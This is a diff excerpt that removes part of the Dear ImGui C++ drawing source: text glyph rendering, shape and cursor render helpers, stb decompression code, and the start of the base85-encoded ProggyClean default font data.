(word_wrap_enabled) - { - // Calculate how far we can render. Requires two passes on the string data but keeps the code simple and not intrusive for what's essentially an uncommon feature. - if (!word_wrap_eol) - { - word_wrap_eol = CalcWordWrapPositionA(scale, s, text_end, wrap_width - (x - pos.x)); - if (word_wrap_eol == s) // Wrap_width is too small to fit anything. Force displaying 1 character to minimize the height discontinuity. - word_wrap_eol++; // +1 may not be a character start point in UTF-8 but it's ok because we use s >= word_wrap_eol below - } - - if (s >= word_wrap_eol) - { - x = pos.x; - y += line_height; - word_wrap_eol = NULL; - - // Wrapping skips upcoming blanks - while (s < text_end) - { - const char c = *s; - if (ImCharIsBlankA(c)) { s++; } else if (c == '\n') { s++; break; } else { break; } - } - continue; - } - } - - // Decode and advance source - unsigned int c = (unsigned int)*s; - if (c < 0x80) - { - s += 1; - } - else - { - s += ImTextCharFromUtf8(&c, s, text_end); - if (c == 0) // Malformed UTF-8? - break; - } - - if (c < 32) - { - if (c == '\n') - { - x = pos.x; - y += line_height; - if (y > clip_rect.w) - break; // break out of main loop - continue; - } - if (c == '\r') - continue; - } - - const ImFontGlyph* glyph = FindGlyph((ImWchar)c); - if (glyph == NULL) - continue; - - float char_width = glyph->AdvanceX * scale; - if (glyph->Visible) - { - // We don't do a second finer clipping test on the Y axis as we've already skipped anything before clip_rect.y and exit once we pass clip_rect.w - float x1 = x + glyph->X0 * scale; - float x2 = x + glyph->X1 * scale; - float y1 = y + glyph->Y0 * scale; - float y2 = y + glyph->Y1 * scale; - if (x1 <= clip_rect.z && x2 >= clip_rect.x) - { - // Render a character - float u1 = glyph->U0; - float v1 = glyph->V0; - float u2 = glyph->U1; - float v2 = glyph->V1; - - // CPU side clipping used to fit text in their frame when the frame is too small. Only does clipping for axis aligned quads. - if (cpu_fine_clip) - { - if (x1 < clip_rect.x) - { - u1 = u1 + (1.0f - (x2 - clip_rect.x) / (x2 - x1)) * (u2 - u1); - x1 = clip_rect.x; - } - if (y1 < clip_rect.y) - { - v1 = v1 + (1.0f - (y2 - clip_rect.y) / (y2 - y1)) * (v2 - v1); - y1 = clip_rect.y; - } - if (x2 > clip_rect.z) - { - u2 = u1 + ((clip_rect.z - x1) / (x2 - x1)) * (u2 - u1); - x2 = clip_rect.z; - } - if (y2 > clip_rect.w) - { - v2 = v1 + ((clip_rect.w - y1) / (y2 - y1)) * (v2 - v1); - y2 = clip_rect.w; - } - if (y1 >= y2) - { - x += char_width; - continue; - } - } - - // Support for untinted glyphs - ImU32 glyph_col = glyph->Colored ? col_untinted : col; - - // We are NOT calling PrimRectUV() here because non-inlined causes too much overhead in a debug builds. Inlined here: - { - idx_write[0] = (ImDrawIdx)(vtx_current_idx); idx_write[1] = (ImDrawIdx)(vtx_current_idx+1); idx_write[2] = (ImDrawIdx)(vtx_current_idx+2); - idx_write[3] = (ImDrawIdx)(vtx_current_idx); idx_write[4] = (ImDrawIdx)(vtx_current_idx+2); idx_write[5] = (ImDrawIdx)(vtx_current_idx+3); - vtx_write[0].pos.x = x1; vtx_write[0].pos.y = y1; vtx_write[0].col = glyph_col; vtx_write[0].uv.x = u1; vtx_write[0].uv.y = v1; - vtx_write[1].pos.x = x2; vtx_write[1].pos.y = y1; vtx_write[1].col = glyph_col; vtx_write[1].uv.x = u2; vtx_write[1].uv.y = v1; - vtx_write[2].pos.x = x2; vtx_write[2].pos.y = y2; vtx_write[2].col = glyph_col; vtx_write[2].uv.x = u2; vtx_write[2].uv.y = v2; - vtx_write[3].pos.x = x1; vtx_write[3].pos.y = y2; vtx_write[3].col = glyph_col; vtx_write[3].uv.x = u1; vtx_write[3].uv.y = v2; - vtx_write += 4; - vtx_current_idx += 4; - idx_write += 6; - } - } - } - x += char_width; - } - - // Give back unused vertices (clipped ones, blanks) ~ this is essentially a PrimUnreserve() action. - draw_list->VtxBuffer.Size = (int)(vtx_write - draw_list->VtxBuffer.Data); // Same as calling shrink() - draw_list->IdxBuffer.Size = (int)(idx_write - draw_list->IdxBuffer.Data); - draw_list->CmdBuffer[draw_list->CmdBuffer.Size - 1].ElemCount -= (idx_expected_size - draw_list->IdxBuffer.Size); - draw_list->_VtxWritePtr = vtx_write; - draw_list->_IdxWritePtr = idx_write; - draw_list->_VtxCurrentIdx = vtx_current_idx; -} - -//----------------------------------------------------------------------------- -// [SECTION] ImGui Internal Render Helpers -//----------------------------------------------------------------------------- -// Vaguely redesigned to stop accessing ImGui global state: -// - RenderArrow() -// - RenderBullet() -// - RenderCheckMark() -// - RenderMouseCursor() -// - RenderArrowPointingAt() -// - RenderRectFilledRangeH() -//----------------------------------------------------------------------------- -// Function in need of a redesign (legacy mess) -// - RenderColorRectWithAlphaCheckerboard() -//----------------------------------------------------------------------------- - -// Render an arrow aimed to be aligned with text (p_min is a position in the same space text would be positioned). To e.g. denote expanded/collapsed state -void ImGui::RenderArrow(ImDrawList* draw_list, ImVec2 pos, ImU32 col, ImGuiDir dir, float scale) -{ - const float h = draw_list->_Data->FontSize * 1.00f; - float r = h * 0.40f * scale; - ImVec2 center = pos + ImVec2(h * 0.50f, h * 0.50f * scale); - - ImVec2 a, b, c; - switch (dir) - { - case ImGuiDir_Up: - case ImGuiDir_Down: - if (dir == ImGuiDir_Up) r = -r; - a = ImVec2(+0.000f, +0.750f) * r; - b = ImVec2(-0.866f, -0.750f) * r; - c = ImVec2(+0.866f, -0.750f) * r; - break; - case ImGuiDir_Left: - case ImGuiDir_Right: - if (dir == ImGuiDir_Left) r = -r; - a = ImVec2(+0.750f, +0.000f) * r; - b = ImVec2(-0.750f, +0.866f) * r; - c = ImVec2(-0.750f, -0.866f) * r; - break; - case ImGuiDir_None: - case ImGuiDir_COUNT: - IM_ASSERT(0); - break; - } - draw_list->AddTriangleFilled(center + a, center + b, center + c, col); -} - -void ImGui::RenderBullet(ImDrawList* draw_list, ImVec2 pos, ImU32 col) -{ - draw_list->AddCircleFilled(pos, draw_list->_Data->FontSize * 0.20f, col, 8); -} - -void ImGui::RenderCheckMark(ImDrawList* draw_list, ImVec2 pos, ImU32 col, float sz) -{ - float thickness = ImMax(sz / 5.0f, 1.0f); - sz -= thickness * 0.5f; - pos += ImVec2(thickness * 0.25f, thickness * 0.25f); - - float third = sz / 3.0f; - float bx = pos.x + third; - float by = pos.y + sz - third * 0.5f; - draw_list->PathLineTo(ImVec2(bx - third, by - third)); - draw_list->PathLineTo(ImVec2(bx, by)); - draw_list->PathLineTo(ImVec2(bx + third * 2.0f, by - third * 2.0f)); - draw_list->PathStroke(col, 0, thickness); -} - -void ImGui::RenderMouseCursor(ImDrawList* draw_list, ImVec2 pos, float scale, ImGuiMouseCursor mouse_cursor, ImU32 col_fill, ImU32 col_border, ImU32 col_shadow) -{ - if (mouse_cursor == ImGuiMouseCursor_None) - return; - IM_ASSERT(mouse_cursor > ImGuiMouseCursor_None && mouse_cursor < ImGuiMouseCursor_COUNT); - - ImFontAtlas* font_atlas = draw_list->_Data->Font->ContainerAtlas; - ImVec2 offset, size, uv[4]; - if (font_atlas->GetMouseCursorTexData(mouse_cursor, &offset, &size, &uv[0], &uv[2])) - { - pos -= offset; - const ImTextureID tex_id = font_atlas->TexID; - draw_list->PushTextureID(tex_id); - draw_list->AddImage(tex_id, pos + ImVec2(1, 0) * scale, pos + (ImVec2(1, 0) + size) * scale, uv[2], uv[3], col_shadow); - draw_list->AddImage(tex_id, pos + ImVec2(2, 0) * scale, pos + (ImVec2(2, 0) + size) * scale, uv[2], uv[3], col_shadow); - draw_list->AddImage(tex_id, pos, pos + size * scale, uv[2], uv[3], col_border); - draw_list->AddImage(tex_id, pos, pos + size * scale, uv[0], uv[1], col_fill); - draw_list->PopTextureID(); - } -} - -// Render an arrow. 'pos' is position of the arrow tip. half_sz.x is length from base to tip. half_sz.y is length on each side. -void ImGui::RenderArrowPointingAt(ImDrawList* draw_list, ImVec2 pos, ImVec2 half_sz, ImGuiDir direction, ImU32 col) -{ - switch (direction) - { - case ImGuiDir_Left: draw_list->AddTriangleFilled(ImVec2(pos.x + half_sz.x, pos.y - half_sz.y), ImVec2(pos.x + half_sz.x, pos.y + half_sz.y), pos, col); return; - case ImGuiDir_Right: draw_list->AddTriangleFilled(ImVec2(pos.x - half_sz.x, pos.y + half_sz.y), ImVec2(pos.x - half_sz.x, pos.y - half_sz.y), pos, col); return; - case ImGuiDir_Up: draw_list->AddTriangleFilled(ImVec2(pos.x + half_sz.x, pos.y + half_sz.y), ImVec2(pos.x - half_sz.x, pos.y + half_sz.y), pos, col); return; - case ImGuiDir_Down: draw_list->AddTriangleFilled(ImVec2(pos.x - half_sz.x, pos.y - half_sz.y), ImVec2(pos.x + half_sz.x, pos.y - half_sz.y), pos, col); return; - case ImGuiDir_None: case ImGuiDir_COUNT: break; // Fix warnings - } -} - -static inline float ImAcos01(float x) -{ - if (x <= 0.0f) return IM_PI * 0.5f; - if (x >= 1.0f) return 0.0f; - return ImAcos(x); - //return (-0.69813170079773212f * x * x - 0.87266462599716477f) * x + 1.5707963267948966f; // Cheap approximation, may be enough for what we do. -} - -// FIXME: Cleanup and move code to ImDrawList. -void ImGui::RenderRectFilledRangeH(ImDrawList* draw_list, const ImRect& rect, ImU32 col, float x_start_norm, float x_end_norm, float rounding) -{ - if (x_end_norm == x_start_norm) - return; - if (x_start_norm > x_end_norm) - ImSwap(x_start_norm, x_end_norm); - - ImVec2 p0 = ImVec2(ImLerp(rect.Min.x, rect.Max.x, x_start_norm), rect.Min.y); - ImVec2 p1 = ImVec2(ImLerp(rect.Min.x, rect.Max.x, x_end_norm), rect.Max.y); - if (rounding == 0.0f) - { - draw_list->AddRectFilled(p0, p1, col, 0.0f); - return; - } - - rounding = ImClamp(ImMin((rect.Max.x - rect.Min.x) * 0.5f, (rect.Max.y - rect.Min.y) * 0.5f) - 1.0f, 0.0f, rounding); - const float inv_rounding = 1.0f / rounding; - const float arc0_b = ImAcos01(1.0f - (p0.x - rect.Min.x) * inv_rounding); - const float arc0_e = ImAcos01(1.0f - (p1.x - rect.Min.x) * inv_rounding); - const float half_pi = IM_PI * 0.5f; // We will == compare to this because we know this is the exact value ImAcos01 can return. - const float x0 = ImMax(p0.x, rect.Min.x + rounding); - if (arc0_b == arc0_e) - { - draw_list->PathLineTo(ImVec2(x0, p1.y)); - draw_list->PathLineTo(ImVec2(x0, p0.y)); - } - else if (arc0_b == 0.0f && arc0_e == half_pi) - { - draw_list->PathArcToFast(ImVec2(x0, p1.y - rounding), rounding, 3, 6); // BL - draw_list->PathArcToFast(ImVec2(x0, p0.y + rounding), rounding, 6, 9); // TR - } - else - { - draw_list->PathArcTo(ImVec2(x0, p1.y - rounding), rounding, IM_PI - arc0_e, IM_PI - arc0_b, 3); // BL - draw_list->PathArcTo(ImVec2(x0, p0.y + rounding), rounding, IM_PI + arc0_b, IM_PI + arc0_e, 3); // TR - } - if (p1.x > rect.Min.x + rounding) - { - const float arc1_b = ImAcos01(1.0f - (rect.Max.x - p1.x) * inv_rounding); - const float arc1_e = ImAcos01(1.0f - (rect.Max.x - p0.x) * inv_rounding); - const float x1 = ImMin(p1.x, rect.Max.x - rounding); - if (arc1_b == arc1_e) - { - draw_list->PathLineTo(ImVec2(x1, p0.y)); - draw_list->PathLineTo(ImVec2(x1, p1.y)); - } - else if (arc1_b == 0.0f && arc1_e == half_pi) - { - draw_list->PathArcToFast(ImVec2(x1, p0.y + rounding), rounding, 9, 12); // TR - draw_list->PathArcToFast(ImVec2(x1, p1.y - rounding), rounding, 0, 3); // BR - } - else - { - draw_list->PathArcTo(ImVec2(x1, p0.y + rounding), rounding, -arc1_e, -arc1_b, 3); // TR - draw_list->PathArcTo(ImVec2(x1, p1.y - rounding), rounding, +arc1_b, +arc1_e, 3); // BR - } - } - draw_list->PathFillConvex(col); -} - -void ImGui::RenderRectFilledWithHole(ImDrawList* draw_list, ImRect outer, ImRect inner, ImU32 col, float rounding) -{ - const bool fill_L = (inner.Min.x > outer.Min.x); - const bool fill_R = (inner.Max.x < outer.Max.x); - const bool fill_U = (inner.Min.y > outer.Min.y); - const bool fill_D = (inner.Max.y < outer.Max.y); - if (fill_L) draw_list->AddRectFilled(ImVec2(outer.Min.x, inner.Min.y), ImVec2(inner.Min.x, inner.Max.y), col, rounding, (fill_U ? 0 : ImDrawCornerFlags_TopLeft) | (fill_D ? 0 : ImDrawCornerFlags_BotLeft)); - if (fill_R) draw_list->AddRectFilled(ImVec2(inner.Max.x, inner.Min.y), ImVec2(outer.Max.x, inner.Max.y), col, rounding, (fill_U ? 0 : ImDrawCornerFlags_TopRight) | (fill_D ? 0 : ImDrawCornerFlags_BotRight)); - if (fill_U) draw_list->AddRectFilled(ImVec2(inner.Min.x, outer.Min.y), ImVec2(inner.Max.x, inner.Min.y), col, rounding, (fill_L ? 0 : ImDrawCornerFlags_TopLeft) | (fill_R ? 0 : ImDrawCornerFlags_TopRight)); - if (fill_D) draw_list->AddRectFilled(ImVec2(inner.Min.x, inner.Max.y), ImVec2(inner.Max.x, outer.Max.y), col, rounding, (fill_L ? 0 : ImDrawCornerFlags_BotLeft) | (fill_R ? 0 : ImDrawCornerFlags_BotRight)); - if (fill_L && fill_U) draw_list->AddRectFilled(ImVec2(outer.Min.x, outer.Min.y), ImVec2(inner.Min.x, inner.Min.y), col, rounding, ImDrawCornerFlags_TopLeft); - if (fill_R && fill_U) draw_list->AddRectFilled(ImVec2(inner.Max.x, outer.Min.y), ImVec2(outer.Max.x, inner.Min.y), col, rounding, ImDrawCornerFlags_TopRight); - if (fill_L && fill_D) draw_list->AddRectFilled(ImVec2(outer.Min.x, inner.Max.y), ImVec2(inner.Min.x, outer.Max.y), col, rounding, ImDrawCornerFlags_BotLeft); - if (fill_R && fill_D) draw_list->AddRectFilled(ImVec2(inner.Max.x, inner.Max.y), ImVec2(outer.Max.x, outer.Max.y), col, rounding, ImDrawCornerFlags_BotRight); -} - -// Helper for ColorPicker4() -// NB: This is rather brittle and will show artifact when rounding this enabled if rounded corners overlap multiple cells. Caller currently responsible for avoiding that. -// Spent a non reasonable amount of time trying to getting this right for ColorButton with rounding+anti-aliasing+ImGuiColorEditFlags_HalfAlphaPreview flag + various grid sizes and offsets, and eventually gave up... probably more reasonable to disable rounding altogether. -// FIXME: uses ImGui::GetColorU32 -void ImGui::RenderColorRectWithAlphaCheckerboard(ImDrawList* draw_list, ImVec2 p_min, ImVec2 p_max, ImU32 col, float grid_step, ImVec2 grid_off, float rounding, int rounding_corners_flags) -{ - if (((col & IM_COL32_A_MASK) >> IM_COL32_A_SHIFT) < 0xFF) - { - ImU32 col_bg1 = ImGui::GetColorU32(ImAlphaBlendColors(IM_COL32(204, 204, 204, 255), col)); - ImU32 col_bg2 = ImGui::GetColorU32(ImAlphaBlendColors(IM_COL32(128, 128, 128, 255), col)); - draw_list->AddRectFilled(p_min, p_max, col_bg1, rounding, rounding_corners_flags); - - int yi = 0; - for (float y = p_min.y + grid_off.y; y < p_max.y; y += grid_step, yi++) - { - float y1 = ImClamp(y, p_min.y, p_max.y), y2 = ImMin(y + grid_step, p_max.y); - if (y2 <= y1) - continue; - for (float x = p_min.x + grid_off.x + (yi & 1) * grid_step; x < p_max.x; x += grid_step * 2.0f) - { - float x1 = ImClamp(x, p_min.x, p_max.x), x2 = ImMin(x + grid_step, p_max.x); - if (x2 <= x1) - continue; - int rounding_corners_flags_cell = 0; - if (y1 <= p_min.y) { if (x1 <= p_min.x) rounding_corners_flags_cell |= ImDrawCornerFlags_TopLeft; if (x2 >= p_max.x) rounding_corners_flags_cell |= ImDrawCornerFlags_TopRight; } - if (y2 >= p_max.y) { if (x1 <= p_min.x) rounding_corners_flags_cell |= ImDrawCornerFlags_BotLeft; if (x2 >= p_max.x) rounding_corners_flags_cell |= ImDrawCornerFlags_BotRight; } - rounding_corners_flags_cell &= rounding_corners_flags; - draw_list->AddRectFilled(ImVec2(x1, y1), ImVec2(x2, y2), col_bg2, rounding_corners_flags_cell ? rounding : 0.0f, rounding_corners_flags_cell); - } - } - } - else - { - draw_list->AddRectFilled(p_min, p_max, col, rounding, rounding_corners_flags); - } -} - -//----------------------------------------------------------------------------- -// [SECTION] Decompression code -//----------------------------------------------------------------------------- -// Compressed with stb_compress() then converted to a C array and encoded as base85. -// Use the program in misc/fonts/binary_to_compressed_c.cpp to create the array from a TTF file. -// The purpose of encoding as base85 instead of "0x00,0x01,..." style is only save on _source code_ size. -// Decompression from stb.h (public domain) by Sean Barrett https://github.com/nothings/stb/blob/master/stb.h -//----------------------------------------------------------------------------- - -static unsigned int stb_decompress_length(const unsigned char *input) -{ - return (input[8] << 24) + (input[9] << 16) + (input[10] << 8) + input[11]; -} - -static unsigned char *stb__barrier_out_e, *stb__barrier_out_b; -static const unsigned char *stb__barrier_in_b; -static unsigned char *stb__dout; -static void stb__match(const unsigned char *data, unsigned int length) -{ - // INVERSE of memmove... write each byte before copying the next... - IM_ASSERT(stb__dout + length <= stb__barrier_out_e); - if (stb__dout + length > stb__barrier_out_e) { stb__dout += length; return; } - if (data < stb__barrier_out_b) { stb__dout = stb__barrier_out_e+1; return; } - while (length--) *stb__dout++ = *data++; -} - -static void stb__lit(const unsigned char *data, unsigned int length) -{ - IM_ASSERT(stb__dout + length <= stb__barrier_out_e); - if (stb__dout + length > stb__barrier_out_e) { stb__dout += length; return; } - if (data < stb__barrier_in_b) { stb__dout = stb__barrier_out_e+1; return; } - memcpy(stb__dout, data, length); - stb__dout += length; -} - -#define stb__in2(x) ((i[x] << 8) + i[(x)+1]) -#define stb__in3(x) ((i[x] << 16) + stb__in2((x)+1)) -#define stb__in4(x) ((i[x] << 24) + stb__in3((x)+1)) - -static const unsigned char *stb_decompress_token(const unsigned char *i) -{ - if (*i >= 0x20) { // use fewer if's for cases that expand small - if (*i >= 0x80) stb__match(stb__dout-i[1]-1, i[0] - 0x80 + 1), i += 2; - else if (*i >= 0x40) stb__match(stb__dout-(stb__in2(0) - 0x4000 + 1), i[2]+1), i += 3; - else /* *i >= 0x20 */ stb__lit(i+1, i[0] - 0x20 + 1), i += 1 + (i[0] - 0x20 + 1); - } else { // more ifs for cases that expand large, since overhead is amortized - if (*i >= 0x18) stb__match(stb__dout-(stb__in3(0) - 0x180000 + 1), i[3]+1), i += 4; - else if (*i >= 0x10) stb__match(stb__dout-(stb__in3(0) - 0x100000 + 1), stb__in2(3)+1), i += 5; - else if (*i >= 0x08) stb__lit(i+2, stb__in2(0) - 0x0800 + 1), i += 2 + (stb__in2(0) - 0x0800 + 1); - else if (*i == 0x07) stb__lit(i+3, stb__in2(1) + 1), i += 3 + (stb__in2(1) + 1); - else if (*i == 0x06) stb__match(stb__dout-(stb__in3(1)+1), i[4]+1), i += 5; - else if (*i == 0x04) stb__match(stb__dout-(stb__in3(1)+1), stb__in2(4)+1), i += 6; - } - return i; -} - -static unsigned int stb_adler32(unsigned int adler32, unsigned char *buffer, unsigned int buflen) -{ - const unsigned long ADLER_MOD = 65521; - unsigned long s1 = adler32 & 0xffff, s2 = adler32 >> 16; - unsigned long blocklen = buflen % 5552; - - unsigned long i; - while (buflen) { - for (i=0; i + 7 < blocklen; i += 8) { - s1 += buffer[0], s2 += s1; - s1 += buffer[1], s2 += s1; - s1 += buffer[2], s2 += s1; - s1 += buffer[3], s2 += s1; - s1 += buffer[4], s2 += s1; - s1 += buffer[5], s2 += s1; - s1 += buffer[6], s2 += s1; - s1 += buffer[7], s2 += s1; - - buffer += 8; - } - - for (; i < blocklen; ++i) - s1 += *buffer++, s2 += s1; - - s1 %= ADLER_MOD, s2 %= ADLER_MOD; - buflen -= blocklen; - blocklen = 5552; - } - return (unsigned int)(s2 << 16) + (unsigned int)s1; -} - -static unsigned int stb_decompress(unsigned char *output, const unsigned char *i, unsigned int /*length*/) -{ - if (stb__in4(0) != 0x57bC0000) return 0; - if (stb__in4(4) != 0) return 0; // error! stream is > 4GB - const unsigned int olen = stb_decompress_length(i); - stb__barrier_in_b = i; - stb__barrier_out_e = output + olen; - stb__barrier_out_b = output; - i += 16; - - stb__dout = output; - for (;;) { - const unsigned char *old_i = i; - i = stb_decompress_token(i); - if (i == old_i) { - if (*i == 0x05 && i[1] == 0xfa) { - IM_ASSERT(stb__dout == output + olen); - if (stb__dout != output + olen) return 0; - if (stb_adler32(1, output, olen) != (unsigned int) stb__in4(2)) - return 0; - return olen; - } else { - IM_ASSERT(0); /* NOTREACHED */ - return 0; - } - } - IM_ASSERT(stb__dout <= output + olen); - if (stb__dout > output + olen) - return 0; - } -} - -//----------------------------------------------------------------------------- -// [SECTION] Default font data (ProggyClean.ttf) -//----------------------------------------------------------------------------- -// ProggyClean.ttf -// Copyright (c) 2004, 2005 Tristan Grimmer -// MIT license (see License.txt in http://www.upperbounds.net/download/ProggyClean.ttf.zip) -// Download and more information at http://upperbounds.net -//----------------------------------------------------------------------------- -// File: 'ProggyClean.ttf' (41208 bytes) -// Exported using misc/fonts/binary_to_compressed_c.cpp (with compression + base85 string encoding). -// The purpose of encoding as base85 instead of "0x00,0x01,..." style is only save on _source code_ size. -//----------------------------------------------------------------------------- -static const char proggy_clean_ttf_compressed_data_base85[11980 + 1] = - "7])#######hV0qs'/###[),##/l:$#Q6>##5[n42>c-TH`->>#/e>11NNV=Bv(*:.F?uu#(gRU.o0XGH`$vhLG1hxt9?W`#,5LsCp#-i>.r$<$6pD>Lb';9Crc6tgXmKVeU2cD4Eo3R/" - "2*>]b(MC;$jPfY.;h^`IWM9Qo#t'X#(v#Y9w0#1D$CIf;W'#pWUPXOuxXuU(H9M(1=Ke$$'5F%)]0^#0X@U.a$FBjVQTSDgEKnIS7EM9>ZY9w0#L;>>#Mx&4Mvt//L[MkA#W@lK.N'[0#7RL_&#w+F%HtG9M#XL`N&.,GM4Pg;--VsM.M0rJfLH2eTM`*oJMHRC`N" - "kfimM2J,W-jXS:)r0wK#@Fge$U>`w'N7G#$#fB#$E^$#:9:hk+eOe--6x)F7*E%?76%^GMHePW-Z5l'&GiF#$956:rS?dA#fiK:)Yr+`�j@'DbG&#^$PG.Ll+DNa&VZ>1i%h1S9u5o@YaaW$e+bROPOpxTO7Stwi1::iB1q)C_=dV26J;2,]7op$]uQr@_V7$q^%lQwtuHY]=DX,n3L#0PHDO4f9>dC@O>HBuKPpP*E,N+b3L#lpR/MrTEH.IAQk.a>D[.e;mc." - "x]Ip.PH^'/aqUO/$1WxLoW0[iLAw=4h(9.`G" - "CRUxHPeR`5Mjol(dUWxZa(>STrPkrJiWx`5U7F#.g*jrohGg`cg:lSTvEY/EV_7H4Q9[Z%cnv;JQYZ5q.l7Zeas:HOIZOB?Ggv:[7MI2k).'2($5FNP&EQ(,)" - "U]W]+fh18.vsai00);D3@4ku5P?DP8aJt+;qUM]=+b'8@;mViBKx0DE[-auGl8:PJ&Dj+M6OC]O^((##]`0i)drT;-7X`=-H3[igUnPG-NZlo.#k@h#=Ork$m>a>$-?Tm$UV(?#P6YY#" - "'/###xe7q.73rI3*pP/$1>s9)W,JrM7SN]'/4C#v$U`0#V.[0>xQsH$fEmPMgY2u7Kh(G%siIfLSoS+MK2eTM$=5,M8p`A.;_R%#u[K#$x4AG8.kK/HSB==-'Ie/QTtG?-.*^N-4B/ZM" - "_3YlQC7(p7q)&](`6_c)$/*JL(L-^(]$wIM`dPtOdGA,U3:w2M-0+WomX2u7lqM2iEumMTcsF?-aT=Z-97UEnXglEn1K-bnEO`gu" - "Ft(c%=;Am_Qs@jLooI&NX;]0#j4#F14;gl8-GQpgwhrq8'=l_f-b49'UOqkLu7-##oDY2L(te+Mch&gLYtJ,MEtJfLh'x'M=$CS-ZZ%P]8bZ>#S?YY#%Q&q'3^Fw&?D)UDNrocM3A76/" - "/oL?#h7gl85[qW/NDOk%16ij;+:1a'iNIdb-ou8.P*w,v5#EI$TWS>Pot-R*H'-SEpA:g)f+O$%%`kA#G=8RMmG1&O`>to8bC]T&$,n.LoO>29sp3dt-52U%VM#q7'DHpg+#Z9%H[Ket`e;)f#Km8&+DC$I46>#Kr]]u-[=99tts1.qb#q72g1WJO81q+eN'03'eM>&1XxY-caEnO" - "j%2n8)),?ILR5^.Ibn<-X-Mq7[a82Lq:F&#ce+S9wsCK*x`569E8ew'He]h:sI[2LM$[guka3ZRd6:t%IG:;$%YiJ:Nq=?eAw;/:nnDq0(CYcMpG)qLN4$##&J-XTt,%OVU4)S1+R-#dg0/Nn?Ku1^0f$B*P:Rowwm-`0PKjYDDM'3]d39VZHEl4,.j']Pk-M.h^&:0FACm$maq-&sgw0t7/6(^xtk%" - "LuH88Fj-ekm>GA#_>568x6(OFRl-IZp`&b,_P'$MhLbxfc$mj`,O;&%W2m`Zh:/)Uetw:aJ%]K9h:TcF]u_-Sj9,VK3M.*'&0D[Ca]J9gp8,kAW]" - "%(?A%R$f<->Zts'^kn=-^@c4%-pY6qI%J%1IGxfLU9CP8cbPlXv);C=b),<2mOvP8up,UVf3839acAWAW-W?#ao/^#%KYo8fRULNd2.>%m]UK:n%r$'sw]J;5pAoO_#2mO3n,'=H5(et" - "Hg*`+RLgv>=4U8guD$I%D:W>-r5V*%j*W:Kvej.Lp$'?;++O'>()jLR-^u68PHm8ZFWe+ej8h:9r6L*0//c&iH&R8pRbA#Kjm%upV1g:" - "a_#Ur7FuA#(tRh#.Y5K+@?3<-8m0$PEn;J:rh6?I6uG<-`wMU'ircp0LaE_OtlMb&1#6T.#FDKu#1Lw%u%+GM+X'e?YLfjM[VO0MbuFp7;>Q&#WIo)0@F%q7c#4XAXN-U&VBpqB>0ie&jhZ[?iLR@@_AvA-iQC(=ksRZRVp7`.=+NpBC%rh&3]R:8XDmE5^V8O(x<-+k?'(^](H.aREZSi,#1:[IXaZFOm<-ui#qUq2$##Ri;u75OK#(RtaW-K-F`S+cF]uN`-KMQ%rP/Xri.LRcB##=YL3BgM/3M" - "D?@f&1'BW-)Ju#bmmWCMkk&#TR`C,5d>g)F;t,4:@_l8G/5h4vUd%&%950:VXD'QdWoY-F$BtUwmfe$YqL'8(PWX(" - "P?^@Po3$##`MSs?DWBZ/S>+4%>fX,VWv/w'KD`LP5IbH;rTV>n3cEK8U#bX]l-/V+^lj3;vlMb&[5YQ8#pekX9JP3XUC72L,,?+Ni&co7ApnO*5NK,((W-i:$,kp'UDAO(G0Sq7MVjJs" - "bIu)'Z,*[>br5fX^:FPAWr-m2KgLQ_nN6'8uTGT5g)uLv:873UpTLgH+#FgpH'_o1780Ph8KmxQJ8#H72L4@768@Tm&Q" - "h4CB/5OvmA&,Q&QbUoi$a_%3M01H)4x7I^&KQVgtFnV+;[Pc>[m4k//,]1?#`VY[Jr*3&&slRfLiVZJ:]?=K3Sw=[$=uRB?3xk48@aege0jT6'N#(q%.O=?2S]u*(m<-" - "V8J'(1)G][68hW$5'q[GC&5j`TE?m'esFGNRM)j,ffZ?-qx8;->g4t*:CIP/[Qap7/9'#(1sao7w-.qNUdkJ)tCF&#B^;xGvn2r9FEPFFFcL@.iFNkTve$m%#QvQS8U@)2Z+3K:AKM5i" - "sZ88+dKQ)W6>J%CL`.d*(B`-n8D9oK-XV1q['-5k'cAZ69e;D_?$ZPP&s^+7])$*$#@QYi9,5P r+$%CE=68>K8r0=dSC%%(@p7" - ".m7jilQ02'0-VWAgTlGW'b)Tq7VT9q^*^$$.:&N@@" - "$&)WHtPm*5_rO0&e%K&#-30j(E4#'Zb.o/(Tpm$>K'f@[PvFl,hfINTNU6u'0pao7%XUp9]5.>%h`8_=VYbxuel.NTSsJfLacFu3B'lQSu/m6-Oqem8T+oE--$0a/k]uj9EwsG>%veR*" - "hv^BFpQj:K'#SJ,sB-'#](j.Lg92rTw-*n%@/;39rrJF,l#qV%OrtBeC6/,;qB3ebNW[?,Hqj2L.1NP&GjUR=1D8QaS3Up&@*9wP?+lo7b?@%'k4`p0Z$22%K3+iCZj?XJN4Nm&+YF]u" - "@-W$U%VEQ/,,>>#)D#%8cY#YZ?=,`Wdxu/ae&#" - "w6)R89tI#6@s'(6Bf7a&?S=^ZI_kS&ai`&=tE72L_D,;^R)7[$so8lKN%5/$(vdfq7+ebA#" - "u1p]ovUKW&Y%q]'>$1@-[xfn$7ZTp7mM,G,Ko7a&Gu%G[RMxJs[0MM%wci.LFDK)(%:_i2B5CsR8&9Z&#=mPEnm0f`<&c)QL5uJ#%u%lJj+D-r;BoFDoS97h5g)E#o:&S4weDF,9^Hoe`h*L+_a*NrLW-1pG_&2UdB8" - "6e%B/:=>)N4xeW.*wft-;$'58-ESqr#U`'6AQ]m&6/`Z>#S?YY#Vc;r7U2&326d=w&H####?TZ`*4?&.MK?LP8Vxg>$[QXc%QJv92.(Db*B)gb*BM9dM*hJMAo*c&#" - "b0v=Pjer]$gG&JXDf->'StvU7505l9$AFvgYRI^&<^b68?j#q9QX4SM'RO#&sL1IM.rJfLUAj221]d##DW=m83u5;'bYx,*Sl0hL(W;;$doB&O/TQ:(Z^xBdLjLV#*8U_72Lh+2Q8Cj0i:6hp&$C/:p(HK>T8Y[gHQ4`4)'$Ab(Nof%V'8hL&#SfD07&6D@M.*J:;$-rv29'M]8qMv-tLp,'886iaC=Hb*YJoKJ,(j%K=H`K.v9HggqBIiZu'QvBT.#=)0ukruV&.)3=(^1`o*Pj4<-#MJ+gLq9-##@HuZPN0]u:h7.T..G:;$/Usj(T7`Q8tT72LnYl<-qx8;-HV7Q-&Xdx%1a,hC=0u+HlsV>nuIQL-5" - "_>@kXQtMacfD.m-VAb8;IReM3$wf0''hra*so568'Ip&vRs849'MRYSp%:t:h5qSgwpEr$B>Q,;s(C#$)`svQuF$##-D,##,g68@2[T;.XSdN9Qe)rpt._K-#5wF)sP'##p#C0c%-Gb%" - 